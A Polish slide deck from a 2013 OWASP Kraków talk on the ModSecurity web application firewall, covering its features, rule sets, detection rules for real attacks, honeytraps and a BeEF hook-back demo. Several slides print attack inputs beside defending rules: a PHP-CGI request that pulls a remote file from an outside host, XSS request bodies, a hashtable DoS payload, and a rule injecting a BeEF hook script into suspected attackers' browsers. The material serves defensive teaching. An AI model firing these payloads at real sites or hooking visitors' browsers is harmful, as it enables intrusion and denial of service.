Upload
pawel-krawczyk
View
758
Download
8
Embed Size (px)
DESCRIPTION
Prezentacja ze spotkania OWASP w Krakowie w 2013 roku, poświęcona mod_security.
Citation preview
1Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Czy Twój WAF to potrafi?
modsecurity.
Leszek Miś
IT Security Architect
RHCA, RHCSS
2Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
/whoami
• IT Security Architect @ Linux Polska Sp. z o.o.
• Lider projektu WALLF Web Gateway (http://wallf.pl)
• RHCA/RHCSS/RHCX
• Skupiam się głównie na:
– Linux Security
– Web Security
– Pentesty
– SSO
– Linux forensics
– Klastry, wirtualizacja, cloud, storage
3Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Agenda
1.Kilka słów wstępu.
2.Podstawowe możliwości.
3.Realne przypadki
4.PoC:
- Honeypot + modsecurity
- BeeF+modsecurity = give me your real IP!
5.Podsumowanie.
4Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
modsecurity
• Najczęściej wykorzystywany WAF na świecie
• Open source
• Tysiące dl/miesiąc
• Chronionych ponad milion serwerów
• Tryby pracy:– Wbudowany
– Reverse Proxy
5Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
modsecurity
• Od zawsze dostępny dla Apache
• Od niedawna także dla:– Nginx (jest też naxsi oraz ngx_LUA based)
– Microsoft IIS
• Blacklist: OWASP Modsecurity Core Rule Set
• Whitelist – learning mode:– Modprofiler
– WebApplicationProfiler
– REMO
6Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
modsecurity
7Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
modsecurity
• Wirtualne patchowanie i integracja z DAST:
– ZAP, Arachni, RPC LUA API
• Bramka typu Intrusion Prevention dla protokołu HTTP (Reverse Proxy)
• Możliwość szybkiej modyfikacji reguł
• Ochrona przed błędami typu 0-day dla aplikacji webowych
• Geolokalizacja
• Ochrona antywirusowa dla uploadów
• Nadawanie flag ciasteczkom
8Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Modsecurity CRS
• HTTP Protection - detecting violations of the HTTP protocol and a locally defined usage policy.
• Real-time Blacklist Lookups - utilizes 3rd Party IP Reputation
• Web-based Malware Detection - identifies malicious web content by check against the Google Safe Browsing API.
• HTTP Denial of Service Protections - defense against HTTP Flooding and Slow HTTP DoS Attacks.
• Common Web Attacks Protection - detecting common web application security attack.
• Automation Detection - Detecting bots, crawlers, scanners and other surface malicious activity.
9Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Modsecurity CRS
• Integration with AV Scanning for File Uploads - detects malicious files uploaded through the web application.
• Tracking Sensitive Data - Tracks Credit Card usage and blocks leakages.
• Trojan Protection - Detecting access to Trojans horses.
• Identification of Application Defects - alerts on application misconfigurations.
• Error Detection and Hiding - Disguising error messages sent by the server.
10Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Modsecurity CRS
modsecurity_35_bad_robots.data modsecurity_crs_23_request_limits.conf modsecurity_crs_47_common_exceptions.conf modsecurity_35_scanners.data modsecurity_crs_30_http_policy.conf modsecurity_crs_48_local_exceptions.conf.example
modsecurity_40_generic_attacks.data modsecurity_crs_35_bad_robots.conf modsecurity_crs_49_inbound_blocking.conf modsecurity_41_sql_injection_attacks.data modsecurity_crs_40_generic_attacks.conf modsecurity_crs_50_outbound.conf
modsecurity_50_outbound.data modsecurity_crs_41_sql_injection_attacks.conf modsecurity_crs_59_outbound_blocking.conf modsecurity_50_outbound_malware.data modsecurity_crs_41_xss_attacks.conf
modsecurity_crs_60_correlation.conf modsecurity_crs_20_protocol_violations.conf modsecurity_crs_42_tight_security.conf modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_45_trojans.conf
11Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
12Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
• Ruby on Rails XML Exploits– Podatność w kodzie parsującym parametry XML –
YAML i Symbol
– Wykonanie dowolnego polecenia systemowego
• Modsecurity potrafi parsować i walidować XML:• SecRule REQUEST_HEADERS:Content-Type "text/xml" \
"id:'900017', phase:1, t:none,t:lowercase, \
nolog, pass, chain"
SecRule REQBODY_PROCESSOR "!@streq XML" \
"ctl:requestBodyProcessor=XML"
13Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
• Positive security model dla formularza logowania + ochrona przed brute force
•
14Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
• Ochrona przed atakami typu Slow HTTP DOS– Slowloris:
• Atakujący wysyła niekompletny zbiór nagłówków
• „Zaśmiecenie” kolejki read request i write request
• Serwer oczekuje dalszych requestów, aż do Timeoutu
• Wysyłanie kolejnych żądań powoduje wysycenie zasobów
– R-U-dead-yet czyli RUDY attack:• Faza request headers wykonywana poprawnie
• Wolne wysyłanie request body, np 1bajt/100s
– Wiele innych jak HOIC/LOIC
15Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
• Kontrolowanie ilości połączeń w stanie Busy:
SecReadStateLimit 5
SecWriteStateLimit 5
• [Mon Nov 22 17:44:46 2010] [warn] ModSecurity: Access denied with code 400.
• Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -
• Possible DoS Consumption Attack [Rejected]
• [Mon Nov 22 17:44:47 2010] [warn] ModSecurity: Access denied with code 400.
• Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -
• Possible DoS Consumption Attack [Rejected]
16Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
• HULK DOS Tool:– Pythony skrypt
– Randomizowane wartości nagłówków: User-Agent, Referer, Keep-alive
– Zawsze ta sama kolejność
–
•
17Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
• CVE-2012-1823:– PHP jako czyste CGI
– mod_cgid
• Możliwość podglądu kodu źródłowego:– 'GET /index.php?-s'
– /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.bu67778.com/a.txt'
• SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"
•
18Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
• OsCommerce 3.0.2 – XSS
• Parametr „name” :– POST /oscommerce/index.php?
RPC&Setup&Install&DBCheck HTTP/1.1
– server=&username=&password=&name=%3Cscript%3Ealert(123)%3C%2Fscript%3E&port=&class=SQL
•
19Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
• Movable Types: XSS
• Parametr dbuser:– POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1
– __mode=test&step=configure&set_static_uri_to=&default_language=en-us&config=&dbtype=mysql&dbserver=localhost&dbname=&dbuser=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&dbpass=test&dbpath=&dbport=&dbsocket=&test=1
20Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
• Movable types:
21Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Realne przypadki
• ASP.NET HashTable DoS:
• Paylodem była bardzo duża ilość losowych parametrów z pustą zawartością:
• EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E=&VGJPMCQHP=&AV6THWSCA7=
• SecRequestBodyLimit 131072 – domyślna wartość
• This directive is useful to reduce susceptibility to DoS attacks when someone is sending request bodies of very large sizes.
22Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Honeytrapy
23Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Honeytrapy
• Wykorzystanie istniejących serwerów:– Listen 8080
– Listen 8888
– Listen 8000
• Wykrywanie i blokowanie automatów skanujących pod kątem webappek na niestandardowych portach
• Tagowanie klientów
• Rozpoznawanie pod kątem prawdziwej aplikacji
24Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Honeytrapy
• SecRule SERVER_PORT "^(8000|8080|8888)$" "id:'999004',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Traffic Received on Fake Port.',\ setvar:ip.malicious_client=1"
• SecRule &IP:MALICIOUS_CLIENT "@eq 1" "id:'999005',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Known Malicious Client.'"
• Integracja z WASC Web Honeypots
25Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Mięsko ;)
26Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
BEEF
• The Browser Exploitation Framework – zaawansowane narzędzie do pentestów
• Browser as Pentester's gateway || C&C
• Wymagane: – Zmuszenie użytkownika do wejścia na stronę
(FB,TW, krótkie linki)
– Phishing
– XSS – dla tych którzy uważają, że XSS nic nie znaczy
27Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
BEEF
• Pozwala na przejęcie kontroli nad przeglądarką użytkownika poprzez wstrzykiwanie hooków:– Bind shell
– Javascript command
– Odwiedzane URLe
– Skanowanie portów/dns enum/network discovery
– Man In The Browser
– Tunelowanie
– Keylogger
• Integracja z metasploit, np:– XSS->Hook->przejęcie kontroli nad przeglądarką
– Wykorzystanie podatności, np. w Adobe
– Dostęp do shella z poziomu metasploita
28Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
• W jaki sposób wyśledzić prawdziwy adres źródłowy atakującego? – Proxy
– TOR
• Analiza powłamaniowa
29Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Co mamy?
• Modsecurity jako WAF:– Wykrywanie ataków
– Aktywacja Beefa
• BeEF jako browser exploitation framework:– Hookowanie atakujących
– Enumeracja lokalizacji atakującego
• AuditConsole:– Centralna konsola do analizy logów
30Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
modsecurity+BEEF
• Idea przedstawiona na Appsec 2012 USA przez Rayna Barnetta
• Ograniczenie do połączeń do tych „z browsera”
• Monitorowanie atakujących
31Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
modsecurity+BEEF
• Filtrowanie wyjścia: – SecResponseBodyAccess
• Modyfikacja HTTP Response data– SecContentInjection
– SecStreamOutBodyInspection
– Zmienna STREAM_OUTPUT_BODY
– Operator @rsub
• SecRule STREAM_OUTPUT_BODY " <at> rsub s/FUCK/****/" "phase:4,t:none,log,auditlog,pass"
32Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
modsecurity+BEEF
• W jaki sposób zidentyfikować atakującego?
• Założyć pułapki:– Fake cookies
– Robots.txt
– Ukryte pola formularzy:• SecRule STREAM_OUTPUT_BODY "@rsub
s/</form>/<input type="hidden" name="admin" value="false"></form>/id" id:"999999", phase:4,t:none,nolog,pass"
33Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
modsecurity+BEEF
• SecRule ARGS:admin "!@streq false" "id:'9999923',phase:2,t:none,log,block,msg:'Honeytrap alert: hidden form data manipulated',setvar:tx.malicious_client=1"
• SecRule TX:MALICIOUS_CLIENT "@eq 1" "chain,id:'999232', phase:4, t:none, pass, log,msg:'hooking to beef'"
• SecRule STREAM_OUTPUT_BODY "@rsub" s/</html>/<script src=http://10.0.0.1:5000/functions.js"></script></html>
34Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
modsecurity+BEEF
• Geolokalizacja:– Lokalnie dostępne access pointy
• Uzyskanie dostępu do CMD celem wysłania ICMP do naszego hosta:– Analiza ruchu i wykrycie faktycznego adresu IP
35Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Podsumowanie
• W modsecurity drzemią ogromne możliwości i potencjał
• Reguły oparte na blacklistach prędzej czy później mogą zostać ominięte
• Whitelisting trudny we wdrożeniu, utrzymaniu i czasochłonny – zmieniające się aplikacje
• Audytowanie logów – konieczność
•
36Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl [email protected]
Podsumowanie
Dziękuję za uwagę.